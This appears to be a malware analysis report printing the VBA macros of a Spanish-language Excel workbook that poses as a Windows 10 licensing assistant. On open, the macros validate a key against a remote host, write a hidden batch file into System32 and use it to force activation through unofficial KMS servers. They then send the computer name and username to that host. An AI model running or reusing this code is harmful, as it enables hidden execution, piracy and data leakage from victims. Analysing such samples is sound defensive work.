Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

End Sub

Attribute VB_Name = "Boton1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Worksheet_Activate()
Form1.Show
End Sub

Attribute VB_Name = "Form1"
Attribute VB_Base = "0{9265AE87-F67A-4CD8-89F0-C55DC0AACD37}{05314EA4-9F2E-402A-B5E4-FE143F3AD097}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Dim licencia As String
Dim licencia2 As String
Dim userwin As String
Dim nombrepc As String
Dim administrador As String
Dim d As String
Dim X As String
Dim yy As String
Dim z As String
Dim c As Integer
Dim Linea As String, Total As String
Dim rutatexto As String
Dim rutabajarlicencia As String
Dim temp As String
Dim compu As String
Dim cadena As String
Dim X2
Dim textocmd
Dim textocmd2


Dim Fso22


Dim Contadorsito As Integer

Dim fso
Private Const BUFFER_LEN = 256


Private Sub Command1_Click()
On Error Resume Next

If Text1.Text <> "" Then

licencia2 = GetUrlSource("https://office2019pro.000webhostapp.com/prueba.php?keywords=" & Text1.Text)


If Val(licencia2) > 0 Then
hora = Time

Label1.Caption = ""
Label1.Caption = "Licenciamiento por volumen. Espere el mensaje de confirmación, luego puede cerrar este programa... "

Text2.Text = Text2.Text & "title " & nombrepc & vbCrLf
Text2.Text = Text2.Text & "cd %WinDir%" & vbCrLf
Text2.Text = Text2.Text & "cd System32" & vbCrLf

Text2.Text = Text2.Text & "cscript slmgr.vbs /ckms >nul&cscript slmgr.vbs /upk >nul&cscript slmgr.vbs /cpky >nul&set i=1&wmic os | findstr /I " & Chr(34) & "enterprise" & Chr(34) & " >nul" & vbCrLf
Text2.Text = Text2.Text & "if %errorlevel% EQU 0 (cscript slmgr.vbs /ipk NPPR9-FWDCX-D2C8J-H872K-2YT43 >nul&cscript slmgr.vbs /ipk DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4 >nul&cscript lmgr.vbs /ipk WNMTR-4C88C-JK8YV-HQ7T2-76DF9 >nul&cscript slmgr.vbs /ipk 2F77B-TNFGY-69QQF-B8YKP-D69TJ >nul&cscript slmgr.vbs /ipk DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ >nul&cscript slmgr.vbs /ipk QFFDN-GRT3P-VKWWX-X7T3R-8B639 >nul&goto server) else wmic os | findstr /I " & Chr(34) & "home" & Chr(34) & " >nul" & vbCrLf
Text2.Text = Text2.Text & "if %errorlevel% EQU 0 (cscript slmgr.vbs /ipk TX9XD-98N7V-6WMQ6-BX7FG-H8Q99 >nul&cscript slmgr.vbs /ipk 3KHY7-WNT83-DGQKR-F7HPR-844BM >nul&cscript slmgr.vbs /ipk 7HNRX-D7KGG-3K4RQ-4WPJ4-YTDFH >nul&cscript slmgr.vbs /ipk PVMJN-6DFY6-9CCP6-7BKTT-D3WVR >nul&goto server) else wmic os | findstr /I " & Chr(34) & "education" & Chr(34) & " >nul" & vbCrLf
Text2.Text = Text2.Text & "if %errorlevel% EQU 0 (cscript slmgr.vbs /ipk NW6C2-QMPVW-D7KKK-3GKT6-VCFB2 >nul&cscript slmgr.vbs /ipk 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ >nul&goto server) else wmic os | findstr /I " & Chr(34) & "10 pro" & Chr(34) & " >nul" & vbCrLf
Text2.Text = Text2.Text & "if %errorlevel% EQU 0 (cscript slmgr.vbs /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX >nul&cscript slmgr.vbs /ipk MH37W-N47XK-V7XM9-C7227-GCQG9 >nul&goto server) else (goto notsupported)" & vbCrLf

Text2.Text = Text2.Text & ":server" & vbCrLf
Text2.Text = Text2.Text & "if %i%==1 set KMS=kms9.MSGuides.com" & vbCrLf
Text2.Text = Text2.Text & "if %i%==2 set KMS=kms.digiboy.ir" & vbCrLf
Text2.Text = Text2.Text & "if %i%==3 set KMS=kms8.MSGuides.com" & vbCrLf
Text2.Text = Text2.Text & "if %i%==4 goto notsupported" & vbCrLf

Text2.Text = Text2.Text & "cscript slmgr.vbs /skms %KMS%:1688" & vbCrLf
Text2.Text = Text2.Text & "cscript slmgr.vbs /ato | find /i " & Chr(34) & "successfully" & Chr(34) & " && goto listo || goto correctamente" & vbCrLf

Text2.Text = Text2.Text & ":correctamente" & vbCrLf
Text2.Text = Text2.Text & "cscript slmgr.vbs /ato | find /i " & Chr(34) & "correctamente" & Chr(34) & " && goto listo || (echo No se pudo conectar. Intentando de nuevo... & set /a i+=1 & goto server)" & vbCrLf

Text2.Text = Text2.Text & ":listo" & vbCrLf
Text2.Text = Text2.Text & "msg * Su Windows 10 esta ahora Activado Correctamente.  & Explorer " & Chr(34) & "http://office2019pro.000webhostapp.com/desactivarwin.php?licencia=" & Text1.Text & "&uso=FINAL&estatus=00&nombrepc=" & nombrepc & "&usuariowin=" & userwin & "&fecha=" & Date & "&hora=" & hora & "&administrador=Windows10" & Chr(34) & " & control /name Microsoft.System & Exit" & vbCrLf


Text2.Text = Text2.Text & ":notsupported" & vbCrLf
Text2.Text = Text2.Text & "msg * No es posible activar su version de Windows. Comuniquese con quien le vendio la licencia. & Exit" & vbCrLf
textocmd = ShellDos(Text2.Text, "", "")



Else

Label1.Visible = True
Label1.Caption = "Clave Incorrecta, usada o conexión no establecida"
Text1.Text = ""
Text1.SetFocus
End If
End If



End Sub




Private Sub Command2_Click()
Dim salir As String
salir = MsgBox("Desea salir del asistente de licencias por volumen de Windows?", vbYesNo, "Licenciamiento por volumen de Windows 10")
If salir = vbYes Then
End
End If
End Sub

Private Sub Text1_Change()
On Error Resume Next
If Text1.Text <> "" Then

Label1.Caption = ""
Label1.Visible = False

End If
End Sub

Private Sub Text1_KeyPress(ByVal KeyAscii As MSForms.ReturnInteger)
On Error Resume Next
KeyAscii = Asc(UCase(Chr$(KeyAscii)))
End Sub

Private Sub UserForm_Activate()

On Error Resume Next
userwin = Environ("UserName")
nombrepc = Environ("ComputerName")
Label1.Visible = False

End Sub


Public Function GetUrlSource(sURL As String) As String
    Dim sBuffer As String * BUFFER_LEN, iResult As Integer, sData As String
    Dim hInternet As Long, hSession As Long, lReturn As Long

    'get the handle of the current internet connection
    hSession = InternetOpen("vb wininet", 1, vbNullString, vbNullString, 0)
    'get the handle of the url
    If hSession Then hInternet = InternetOpenUrl(hSession, sURL, vbNullString, 0, IF_NO_CACHE_WRITE, 0)
    'if we have the handle, then start reading the web page
    If hInternet Then
        'get the first chunk & buffer it.
        iResult = InternetReadFile(hInternet, sBuffer, BUFFER_LEN, lReturn)
        sData = sBuffer
        'if there's more data then keep reading it into the buffer
        Do While lReturn <> 0
            iResult = InternetReadFile(hInternet, sBuffer, BUFFER_LEN, lReturn)
            sData = sData + Mid(sBuffer, 1, lReturn)
        Loop
    End If
 
    'close the URL
    iResult = InternetCloseHandle(hInternet)

    GetUrlSource = sData
End Function



Attribute VB_Name = "Módulo1"
Sub AutoExec()
Form1.Show
End Sub

Attribute VB_Name = "Módulo2"
Private Declare PtrSafe Function GetShortPathName Lib _
"kernel32" Alias "GetShortPathNameA" (ByVal _
lpszLongPath As String, ByVal lpszShortPath As String, _
ByVal cchBuffer As Long) As Long

Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal _
hObject As Long) As Long

Private Declare PtrSafe Function OpenProcess Lib "kernel32" (ByVal _
dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long

Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal _
hProcess As Long, ByVal uExitCode As Long) As Long

Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" _
(ByVal hHandle As Long, ByVal dwMilliseconds As Long) _
As Long

Private Declare PtrSafe Function OemToChar Lib "user32" Alias "OemToCharA" _
(ByVal lpszSrc As String, ByVal lpszDst As String) As Long



Private Declare PtrSafe Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Const PROCESS_TERMINATE = &H1
Private Const BUFFER_LENGTH = 512
Private Const INFINITE = -1&
Private Const SYNCHRONIZE = &H100000

Public Function ShellDos(ByVal Cmd As String, Optional ByVal WorkingDir As String = ".", Optional ByVal STDIN As String = "") As String

Dim errflag As Long ' verwenden wir um der Fehlerbehandlungs-
' routine zu sagen, wo wir gerade sind

Dim Batfile$ ' Unser Batchfile
Dim DataFile$ ' Unser STDIN-DataFile
Dim ReplyFile$ ' Unsere Ausgabedatei
Dim t As Single ' Allgemeine Zeitabfrage
Dim l As Long ' Dateilänge
Dim Task As Long ' TaskID
Dim Result As Long ' Für Rückgabewerte aus API-Funktionen
Dim fno As Long ' Dateinummer
Dim TaskID As Long ' Task-ID des DOS-Fensters
Dim ProcID As Long ' Prozess-ID des DOS-Fensters
Dim TmpDir As String ' Temporärer Ordner
Dim tmp As String ' Temporärer String



Dim WinPath As String, strSave As String
    'Create a buffer string
    strSave = String(200, Chr$(0))
    'Get the windows directory
    WinPath = Left$(strSave, GetWindowsDirectory(strSave, Len(strSave)))
    

ReplyFile = WinPath & "\System32\reply.txt"
DataFile = WinPath & "\System32\data.txt"

' Die Datei muss existieren, damit
' GetShortPathName Funktioniert.
fno = FreeFile
Open ReplyFile For Binary As fno: Close fno
Open DataFile For Binary As fno: Close fno
ReplyFile = ShortPath(ReplyFile)
DataFile = ShortPath(DataFile)


errflag = 1

' Damit das Ergebnis eindeutig ist, löschen wir erstmal die Datei


' Zunächst wird unser Befehl in die Batchdatei geschrieben.
Batfile$ = WinPath & "\System32\WinDws10.bat"


Open Batfile$ For Output As #fno
Print #fno, RootFromPath(WorkingDir)
Print #fno, "cd " & WorkingDir
Print #fno, Cmd$
Close #fno
DoEvents

' DOS wird mit der Batchdatei aufgerufen
tmp = String(BUFFER_LENGTH, 0)
l = GetShortPathName(Batfile$, tmp, BUFFER_LENGTH)
Batfile$ = Left(tmp, l)
TaskID = Shell(Batfile$, vbHide)

DoEvents
errflag = 2

ProcID = OpenProcess(SYNCHRONIZE, False, TaskID)
Call WaitForSingleObject(ProcID, INFINITE)


terminate:
' Hier wird DOS beendet
Result = TerminateProcess(ProcID, 1&)
Result = CloseHandle(Task)





errflag = 4

Exit Function

err1:
Select Case Err

Case 53

Select Case errflag

Case 1
Resume Next
Case 3
ShellDos = "<ERROR>"
Exit Function
Case Else
GoTo err_else
End Select

Case Else

err_else:
MsgBox Error$

End Select
End Function

Private Function RootFromPath(ByVal Path As String) As String
RootFromPath = Mid(Path, 1, InStr(Path, ":"))
End Function

Private Function ShortPath(ByVal Path As String) As String
Dim tmp As String ' Temporärer String
Dim l As Long ' Länge des Strings

tmp = String(256, 0)
l = GetShortPathName(Path, tmp, Len(tmp))
ShortPath = Left(tmp, l)
End Function




Attribute VB_Name = "Módulo3"
Public Declare PtrSafe Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Public Declare PtrSafe Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal sURL As String, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Public Declare PtrSafe Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare PtrSafe Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer

Public Const IF_FROM_CACHE = &H1000000
Public Const IF_MAKE_PERSISTENT = &H2000000
Public Const IF_NO_CACHE_WRITE = &H4000000